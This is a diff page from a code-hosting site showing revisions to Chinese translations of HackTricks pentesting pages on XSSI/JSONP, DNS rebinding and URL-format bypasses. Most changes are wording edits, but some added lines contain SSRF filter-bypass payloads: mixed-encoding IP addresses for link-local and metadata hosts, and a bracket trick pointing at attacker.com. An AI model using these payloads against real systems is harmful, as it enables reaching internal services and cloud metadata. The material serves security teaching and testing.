**注意**:利用 HTTP 头注入漏洞,特别是通过服务器端缓存中毒,强调了验证和清理所有用户提供输入(包括 HTTP 头)的重要性。始终采用强大的安全模型,包括输入验证,以防止此类漏洞。
|
||||
|
||||
### **客户端缓存中毒**
|
||||
|
||||
|
@ -300,15 +306,15 @@ req.send();
|
|||
|
||||
### XSSI (Cross-Site Script Inclusion) / JSONP
|
||||
|
||||
XSSI,也称为跨站脚本包含,是一种利用同源策略(SOP)在使用脚本标签包含资源时不适用的漏洞。这是因为脚本需要能够从不同域包含。此漏洞允许攻击者访问和读取任何使用脚本标签包含的内容。
|
||||
XSSI,也称为跨站脚本包含,是一种利用同源策略(SOP)在使用脚本标签包含资源时不适用的漏洞。这是因为脚本需要能够从不同域中包含。此漏洞允许攻击者访问和读取任何通过脚本标签包含的内容。
|
||||
|
||||
当涉及动态JavaScript或JSONP(带填充的JSON)时,这个漏洞尤其重要,特别是当使用像cookies这样的环境权限信息进行身份验证时。当从不同主机请求资源时,cookies会被包含,使攻击者可以访问。
|
||||
当涉及动态JavaScript或JSONP(带填充的JSON)时,这个漏洞尤其重要,特别是当使用像cookies这样的环境权限信息进行身份验证时。当从不同主机请求资源时,cookies会被包含,使得攻击者可以访问。
|
||||
|
||||
为了更好地理解和缓解此漏洞,您可以使用可在[https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp)找到的BurpSuite插件。此插件可以帮助识别和解决您Web应用程序中的潜在XSSI漏洞。
|
||||
|
||||
[**在这里阅读有关不同类型的XSSI及其利用方式的更多信息。**](xssi-cross-site-script-inclusion.md)
|
||||
|
||||
尝试在请求中添加一个**`callback`** **参数**。也许页面准备将数据作为JSONP发送。在这种情况下,页面将以`Content-Type: application/javascript`返回数据,从而绕过CORS策略。
|
||||
尝试在请求中添加一个**`callback`** **参数**。也许该页面已准备好将数据作为JSONP发送。在这种情况下,页面将以`Content-Type: application/javascript`返回数据,从而绕过CORS策略。
|
||||
|
||||
![](<../.gitbook/assets/image (856).png>)
|
||||
|
||||
|
@ -332,10 +338,10 @@ XSSI,也称为跨站脚本包含,是一种利用同源策略(SOP)在使
|
|||
通过TTL进行DNS重绑定是一种通过操纵DNS记录来绕过某些安全措施的技术。其工作原理如下:
|
||||
|
||||
1. 攻击者创建一个网页并使受害者访问它。
|
||||
2. 攻击者然后更改其自己域的DNS(IP),指向受害者的网页。
|
||||
2. 攻击者随后将自己域的DNS(IP)更改为指向受害者的网页。
|
||||
3. 受害者的浏览器缓存DNS响应,可能具有TTL(生存时间)值,指示DNS记录应被视为有效的时间。
|
||||
4. 当TTL过期时,受害者的浏览器发出新的DNS请求,允许攻击者在受害者的页面上执行JavaScript代码。
|
||||
5. 通过保持对受害者IP的控制,攻击者可以在不向受害者服务器发送任何cookies的情况下从受害者那里收集信息。
|
||||
5. 通过保持对受害者IP的控制,攻击者可以在不向受害者服务器发送任何cookies的情况下收集受害者的信息。
|
||||
|
||||
需要注意的是,浏览器具有缓存机制,可能会阻止立即滥用此技术,即使TTL值较低。
|
||||
|
||||
|
@ -345,23 +351,23 @@ DNS重绑定对于绕过受害者执行的显式IP检查或用户或机器人在
|
|||
|
||||
要运行自己的DNS重绑定服务器,您可以利用像**DNSrebinder**([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder))这样的工具。这涉及到暴露您的本地端口53/udp,创建一个指向它的A记录(例如,ns.example.com),并创建一个指向先前创建的A子域的NS记录(例如,ns.example.com)。ns.example.com子域的任何子域将由您的主机解析。
|
||||
|
||||
您还可以访问[http://rebind.it/singularity.html](http://rebind.it/singularity.html)上的公共运行服务器,以进一步理解和实验。
|
||||
您还可以访问[http://rebind.it/singularity.html](http://rebind.it/singularity.html)上的公共运行服务器以进一步理解和实验。
|
||||
|
||||
### DNS Rebinding via **DNS Cache Flooding**
|
||||
|
||||
通过DNS缓存洪水进行DNS重绑定是另一种用于绕过浏览器缓存机制并强制第二个DNS请求的技术。其工作原理如下:
|
||||
|
||||
1. 最初,当受害者发出DNS请求时,响应为攻击者的IP地址。
|
||||
2. 为了绕过缓存防御,攻击者利用服务工作者。服务工作者洪水式地填充DNS缓存,这有效地删除了缓存的攻击者服务器名称。
|
||||
3. 当受害者的浏览器发出第二个DNS请求时,现在响应为IP地址127.0.0.1,这通常指的是本地主机。
|
||||
2. 为了绕过缓存防御,攻击者利用服务工作者。服务工作者洪水式地填充DNS缓存,有效地删除了缓存的攻击者服务器名称。
|
||||
3. 当受害者的浏览器发出第二个DNS请求时,现在响应为IP地址127.0.0.1,通常指向本地主机。
|
||||
|
||||
通过使用服务工作者洪水填充DNS缓存,攻击者可以操纵DNS解析过程,并强制受害者的浏览器发出第二个请求,这次解析为攻击者所需的IP地址。
|
||||
通过使用服务工作者洪水填充DNS缓存,攻击者可以操纵DNS解析过程并强制受害者的浏览器发出第二个请求,这次解析为攻击者所需的IP地址。
|
||||
|
||||
### DNS Rebinding via **Cache**
|
||||
|
||||
绕过缓存防御的另一种方法是利用DNS提供商中同一子域的多个IP地址。其工作原理如下:
|
||||
|
||||
1. 攻击者在DNS提供商中为同一子域设置两个A记录(或一个具有两个IP的A记录)。
|
||||
1. 攻击者在DNS提供商中为同一子域设置两个A记录(或一个具有两个IP的单个A记录)。
|
||||
2. 当浏览器检查这些记录时,它接收到两个IP地址。
|
||||
3. 如果浏览器决定首先使用攻击者的IP地址,攻击者可以提供一个有效负载,执行对同一域的HTTP请求。
|
||||
4. 然而,一旦攻击者获得受害者的IP地址,他们就停止响应受害者的浏览器。
|
||||
|
@ -434,7 +440,7 @@ DNS重绑定对于绕过受害者执行的显式IP检查或用户或机器人在
|
|||
<summary>支持HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord小组**](https://discord.gg/hRep4RUj7f)或[**电报小组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在Twitter上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,15 +1,15 @@
|
|||
# URL格式绕过
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践AWS黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践GCP黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践AWS黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践GCP黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我们在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
@ -60,6 +60,10 @@ http://0xc0a80014/ = http://192.168.0.20
|
|||
0x7f.0x00.0x00.0x01
|
||||
0x0000007f.0x00000000.0x00000000.0x00000001
|
||||
|
||||
# Mixed encodings bypass
|
||||
169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number
|
||||
0xA9.254.0251.0376 -> hexadecimal, decimal and octal
|
||||
|
||||
# Add 0s bypass
|
||||
127.000000000000.1
|
||||
|
||||
|
@ -86,7 +90,7 @@ spoofed.burpcollaborator.net = 127.0.0.1
|
|||
```
|
||||
![](<../../.gitbook/assets/image (776).png>)
|
||||
|
||||
该**Burp扩展** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) 实现了IP格式绕过。
|
||||
该 **Burp 扩展** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) 实现了 IP 格式绕过。
|
||||
|
||||
### 域解析器
|
||||
```bash
|
||||
|
@ -154,7 +158,7 @@ next={domain}&next=attacker.com
|
|||
```
|
||||
### 路径和扩展绕过
|
||||
|
||||
如果要求URL必须以路径或扩展名结尾,或者必须包含路径,您可以尝试以下绕过方法:
|
||||
如果您要求URL必须以路径或扩展名结尾,或者必须包含路径,您可以尝试以下绕过方法:
|
||||
```
|
||||
https://metadata/vulerable/path#/expected/path
|
||||
https://metadata/vulerable/path#.extension
|
||||
|
@ -168,6 +172,8 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
|||
|
||||
查看 portswigger 的 [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet),您可以在其中输入允许的主机和攻击者的主机,它将为您生成要尝试的 URL 列表。它还考虑您是否可以在参数、Host 头或 CORS 头中使用 URL。
|
||||
|
||||
{% embed url="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet" %}
|
||||
|
||||
### Bypass via redirect
|
||||
|
||||
服务器可能在 **过滤 SSRF 的原始请求**,**但不**过滤对该请求的可能 **重定向** 响应。\
|
||||
|
@ -197,31 +203,36 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
|||
|
||||
### 反斜杠技巧
|
||||
|
||||
_反斜杠技巧_ 利用 [WHATWG URL 标准](https://url.spec.whatwg.org/#url-parsing) 和 [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) 之间的差异。虽然 RFC3986 是 URI 的一般框架,但 WHATWG 特定于网络 URL,并被现代浏览器采用。关键区别在于 WHATWG 标准将反斜杠 (`\`) 视为与正斜杠 (`/`) 等价,这影响了 URL 的解析,特别是标记了 URL 中主机名到路径的过渡。
|
||||
_反斜杠技巧_ 利用 [WHATWG URL 标准](https://url.spec.whatwg.org/#url-parsing) 和 [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) 之间的差异。虽然 RFC3986 是 URI 的一般框架,但 WHATWG 特定于网络 URL,并被现代浏览器采用。关键区别在于 WHATWG 标准将反斜杠 (`\`) 视为与正斜杠 (`/`) 等价,这影响了 URL 的解析,特别是标记 URL 中主机名到路径的过渡。
|
||||
|
||||
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
|
||||
|
||||
### 左方括号
|
||||
|
||||
用户信息段中的“左方括号”字符 `[` 可以导致 Spring 的 UriComponentsBuilder 返回一个与浏览器不同的主机名值:[https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
|
||||
|
||||
### 其他混淆
|
||||
|
||||
![https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](<../../.gitbook/assets/image (600).png>)
|
||||
|
||||
图片来自 [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
|
||||
来自 [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
|
||||
|
||||
## 参考文献
|
||||
|
||||
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
|
||||
* [https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue